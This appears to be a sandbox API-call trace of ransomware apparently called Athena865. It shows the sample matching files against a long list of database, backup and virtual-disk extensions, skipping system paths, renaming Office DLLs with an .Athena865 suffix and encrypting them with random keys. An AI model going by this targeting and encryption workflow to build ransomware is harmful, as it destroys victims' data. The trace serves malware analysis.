[0072.682] lstrlenW (lpString="lwx") returned 3 [0072.682] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0072.682] lstrlenW (lpString="maf") returned 3 [0072.682] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0072.682] lstrlenW (lpString="maq") returned 3 [0072.682] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0072.682] lstrlenW (lpString="mar") returned 3 [0072.682] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0072.682] lstrlenW (lpString="marshal") returned 7 [0072.682] lstrcmpiW (lpString1="TIL.DLL", lpString2="marshal") returned 1 [0072.682] lstrlenW (lpString="mas") returned 3 [0072.682] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0072.683] lstrlenW (lpString="mav") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0072.683] lstrlenW (lpString="maw") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0072.683] lstrlenW (lpString="mdbhtml") returned 7 [0072.683] lstrcmpiW (lpString1="TIL.DLL", lpString2="mdbhtml") returned 1 [0072.683] lstrlenW (lpString="mdn") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0072.683] lstrlenW (lpString="mdt") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0072.683] lstrlenW (lpString="mfd") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0072.683] lstrlenW (lpString="mpd") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0072.683] lstrlenW (lpString="mrg") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0072.683] lstrlenW (lpString="mud") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0072.683] lstrlenW (lpString="mwb") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0072.683] lstrlenW (lpString="myd") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0072.683] lstrlenW (lpString="ndf") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0072.683] lstrlenW (lpString="nnt") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0072.683] lstrlenW (lpString="nrmlib") returned 6 [0072.683] lstrcmpiW (lpString1="IL.DLL", lpString2="nrmlib") returned -1 [0072.683] lstrlenW (lpString="ns2") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0072.683] lstrlenW (lpString="ns3") returned 3 [0072.683] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0072.684] lstrlenW (lpString="ns4") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0072.684] lstrlenW (lpString="nsf") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0072.684] lstrlenW (lpString="nv") returned 2 [0072.684] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0072.684] lstrlenW (lpString="nv2") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0072.684] lstrlenW (lpString="nwdb") returned 4 [0072.684] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0072.684] lstrlenW (lpString="nyf") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0072.684] lstrlenW (lpString="odb") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0072.684] lstrlenW (lpString="odb") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0072.684] lstrlenW (lpString="oqy") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0072.684] lstrlenW (lpString="ora") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0072.684] lstrlenW (lpString="orx") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0072.684] lstrlenW (lpString="owc") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0072.684] lstrlenW (lpString="p96") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0072.684] lstrlenW (lpString="p97") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0072.684] lstrlenW (lpString="pan") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0072.684] lstrlenW (lpString="pdb") returned 3 [0072.684] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0072.684] lstrlenW (lpString="pdm") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0072.685] lstrlenW (lpString="pnz") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0072.685] lstrlenW (lpString="qry") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0072.685] lstrlenW (lpString="qvd") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0072.685] lstrlenW (lpString="rbf") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0072.685] lstrlenW (lpString="rctd") returned 4 [0072.685] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0072.685] lstrlenW (lpString="rod") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0072.685] lstrlenW (lpString="rodx") returned 4 [0072.685] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0072.685] lstrlenW (lpString="rpd") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0072.685] lstrlenW (lpString="rsd") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0072.685] lstrlenW (lpString="sas7bdat") returned 8 [0072.685] lstrcmpiW (lpString1="UTIL.DLL", lpString2="sas7bdat") returned 1 [0072.685] lstrlenW (lpString="sbf") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0072.685] lstrlenW (lpString="scx") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0072.685] lstrlenW (lpString="sdb") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0072.685] lstrlenW (lpString="sdc") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0072.685] lstrlenW (lpString="sdf") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0072.685] lstrlenW (lpString="sis") returned 3 [0072.685] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0072.686] lstrlenW (lpString="spq") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0072.686] lstrlenW (lpString="te") returned 2 [0072.686] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0072.686] lstrlenW (lpString="teacher") returned 7 [0072.686] lstrcmpiW (lpString1="TIL.DLL", lpString2="teacher") returned 1 [0072.686] lstrlenW (lpString="tmd") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0072.686] lstrlenW (lpString="tps") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0072.686] lstrlenW (lpString="trc") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0072.686] lstrlenW (lpString="trc") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0072.686] lstrlenW (lpString="trm") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0072.686] lstrlenW (lpString="udb") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0072.686] lstrlenW (lpString="udl") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0072.686] lstrlenW (lpString="usr") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0072.686] lstrlenW (lpString="v12") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0072.686] lstrlenW (lpString="vis") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0072.686] lstrlenW (lpString="vpd") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0072.686] lstrlenW (lpString="vvv") returned 3 [0072.686] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0072.686] lstrlenW (lpString="wdb") returned 3 [0072.687] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0072.687] lstrlenW (lpString="wmdb") returned 4 [0072.687] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0072.687] lstrlenW (lpString="wrk") returned 3 [0072.687] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0072.687] lstrlenW (lpString="xdb") returned 3 [0072.687] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0072.687] lstrlenW (lpString="xld") returned 3 [0072.687] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0072.687] lstrlenW (lpString="xmlff") returned 5 [0072.687] lstrcmpiW (lpString1="L.DLL", lpString2="xmlff") returned -1 [0072.687] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL.Athena865") returned 63 [0072.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imutil.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\imutil.dll.athena865"), dwFlags=0x1) returned 1 [0072.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\imutil.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0072.688] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=192896) returned 1 [0072.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.689] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.689] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.690] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.690] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f480, lpName=0x0) returned 0x154 [0072.691] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f480) returned 0x170000 [0072.700] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.701] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.701] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51df88 [0072.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51e0a0 [0072.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51e0a0 | out: hHeap=0x4f0000) returned 1 [0072.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51df88 | out: hHeap=0x4f0000) returned 1 [0072.702] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0072.703] CloseHandle (hObject=0x154) returned 1 [0072.703] CloseHandle (hObject=0x17c) returned 1 [0072.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.704] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38388, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMWDD.DLL", cAlternateFileName="")) returned 1 [0072.704] lstrcmpiW (lpString1="IMWDD.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2=".") returned 1 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2="..") returned 1 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2="windows") returned -1 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2="bootmgr") returned 1 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2="temp") returned -1 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2="pagefile.sys") returned -1 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2="boot") returned 1 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2="ids.txt") returned 1 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2="ntuser.dat") returned -1 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2="perflogs") returned -1 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2="MSBuild") returned -1 [0072.705] lstrlenW (lpString="IMWDD.DLL") returned 9 [0072.705] lstrcpyW (in: lpString1=0x241e89e, lpString2="IMWDD.DLL" | out: lpString1="IMWDD.DLL") returned="IMWDD.DLL" [0072.705] lstrlenW (lpString="IMWDD.DLL") returned 9 [0072.705] lstrlenW (lpString="Athena865") returned 9 [0072.705] lstrlenW (lpString=".dll") returned 4 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2=".dll") returned 1 [0072.705] lstrlenW (lpString=".lnk") returned 4 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2=".lnk") returned 1 [0072.705] lstrlenW (lpString=".ini") returned 4 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2=".ini") returned 1 [0072.705] lstrlenW (lpString=".sys") returned 4 [0072.705] lstrcmpiW (lpString1="IMWDD.DLL", lpString2=".sys") returned 1 [0072.705] lstrlenW (lpString="IMWDD.DLL") returned 9 [0072.705] lstrlenW (lpString="bak") returned 3 [0072.705] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0072.705] lstrlenW (lpString="ba_") returned 3 [0072.705] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0072.705] lstrlenW (lpString="dbb") returned 3 [0072.705] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0072.705] lstrlenW (lpString="vmdk") returned 4 [0072.706] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0072.706] lstrlenW (lpString="rar") returned 3 [0072.706] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0072.706] lstrlenW (lpString="zip") returned 3 [0072.706] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0072.706] lstrlenW (lpString="tgz") returned 3 [0072.706] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0072.706] lstrlenW (lpString="vbox") returned 4 [0072.706] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0072.706] lstrlenW (lpString="vdi") returned 3 [0072.706] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0072.706] lstrlenW (lpString="vhd") returned 3 [0072.706] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0072.706] lstrlenW (lpString="vhdx") returned 4 [0072.706] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0072.706] lstrlenW (lpString="avhd") returned 4 [0072.706] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0072.706] lstrlenW (lpString="db") returned 2 [0072.706] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0072.706] lstrlenW (lpString="db2") returned 3 [0072.706] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0072.706] lstrlenW (lpString="db3") returned 3 [0072.706] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0072.706] lstrlenW (lpString="dbf") returned 3 [0072.706] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0072.706] lstrlenW (lpString="mdf") returned 3 [0072.706] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0072.706] lstrlenW (lpString="mdb") returned 3 [0072.706] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0072.706] lstrlenW (lpString="sql") returned 3 [0072.706] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0072.706] lstrlenW (lpString="sqlite") returned 6 [0072.706] lstrcmpiW (lpString1="DD.DLL", lpString2="sqlite") returned -1 [0072.707] lstrlenW (lpString="sqlite3") returned 7 [0072.707] lstrcmpiW (lpString1="WDD.DLL", lpString2="sqlite3") returned 1 [0072.707] lstrlenW (lpString="sqlitedb") returned 8 [0072.707] lstrcmpiW (lpString1="MWDD.DLL", lpString2="sqlitedb") returned -1 [0072.707] lstrlenW (lpString="xml") returned 3 [0072.707] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0072.707] lstrlenW (lpString="$er") returned 3 [0072.707] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0072.707] lstrlenW (lpString="4dd") returned 3 [0072.707] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0072.707] lstrlenW (lpString="4dl") returned 3 [0072.707] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0072.707] lstrlenW (lpString="^^^") returned 3 [0072.707] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0072.707] lstrlenW (lpString="abs") returned 3 [0072.707] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0072.707] lstrlenW (lpString="abx") returned 3 [0072.707] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0072.707] lstrlenW (lpString="accdb") returned 5 [0072.707] lstrcmpiW (lpString1="D.DLL", lpString2="accdb") returned 1 [0072.707] lstrlenW (lpString="accdc") returned 5 [0072.707] lstrcmpiW (lpString1="D.DLL", lpString2="accdc") returned 1 [0072.707] lstrlenW (lpString="accde") returned 5 [0072.707] lstrcmpiW (lpString1="D.DLL", lpString2="accde") returned 1 [0072.707] lstrlenW (lpString="accdr") returned 5 [0072.707] lstrcmpiW (lpString1="D.DLL", lpString2="accdr") returned 1 [0072.707] lstrlenW (lpString="accdt") returned 5 [0072.707] lstrcmpiW (lpString1="D.DLL", lpString2="accdt") returned 1 [0072.707] lstrlenW (lpString="accdw") returned 5 [0072.707] lstrcmpiW (lpString1="D.DLL", lpString2="accdw") returned 1 [0072.707] lstrlenW (lpString="accft") returned 5 [0072.707] lstrcmpiW (lpString1="D.DLL", lpString2="accft") returned 1 [0072.708] lstrlenW (lpString="adb") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.708] lstrlenW (lpString="adb") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.708] lstrlenW (lpString="ade") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0072.708] lstrlenW (lpString="adf") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0072.708] lstrlenW (lpString="adn") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0072.708] lstrlenW (lpString="adp") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0072.708] lstrlenW (lpString="alf") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0072.708] lstrlenW (lpString="ask") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0072.708] lstrlenW (lpString="btr") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0072.708] lstrlenW (lpString="cat") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0072.708] lstrlenW (lpString="cdb") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0072.708] lstrlenW (lpString="ckp") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0072.708] lstrlenW (lpString="cma") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0072.708] lstrlenW (lpString="cpd") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0072.708] lstrlenW (lpString="dacpac") returned 6 [0072.708] lstrcmpiW (lpString1="DD.DLL", lpString2="dacpac") returned 1 [0072.708] lstrlenW (lpString="dad") returned 3 [0072.708] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0072.708] lstrlenW (lpString="dadiagrams") returned 10 [0072.709] lstrlenW (lpString="daschema") returned 8 [0072.709] lstrcmpiW (lpString1="MWDD.DLL", lpString2="daschema") returned 1 [0072.709] lstrlenW (lpString="db-journal") returned 10 [0072.709] lstrlenW (lpString="db-shm") returned 6 [0072.709] lstrcmpiW (lpString1="DD.DLL", lpString2="db-shm") returned 1 [0072.709] lstrlenW (lpString="db-wal") returned 6 [0072.709] lstrcmpiW (lpString1="DD.DLL", lpString2="db-wal") returned 1 [0072.709] lstrlenW (lpString="dbc") returned 3 [0072.709] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0072.709] lstrlenW (lpString="dbs") returned 3 [0072.709] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0072.709] lstrlenW (lpString="dbt") returned 3 [0072.709] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0072.709] lstrlenW (lpString="dbv") returned 3 [0072.709] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0072.709] lstrlenW (lpString="dbx") returned 3 [0072.709] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0072.709] lstrlenW (lpString="dcb") returned 3 [0072.709] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0072.709] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0072.709] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0072.709] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0072.709] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0072.709] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0072.709] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL.Athena865") returned 62 [0072.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imwdd.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\imwdd.dll.athena865"), dwFlags=0x1) returned 1 [0072.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\imwdd.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0072.710] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=230280) returned 1 [0072.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.711] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.712] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.712] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.712] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38690, lpName=0x0) returned 0x154 [0072.714] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x38690) returned 0x170000 [0072.726] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.726] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.726] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51df88 [0072.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51e0a0 [0072.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51e0a0 | out: hHeap=0x4f0000) returned 1 [0072.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51df88 | out: hHeap=0x4f0000) returned 1 [0072.727] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0072.729] CloseHandle (hObject=0x154) returned 1 [0072.729] CloseHandle (hObject=0x17c) returned 1 [0072.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.730] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, 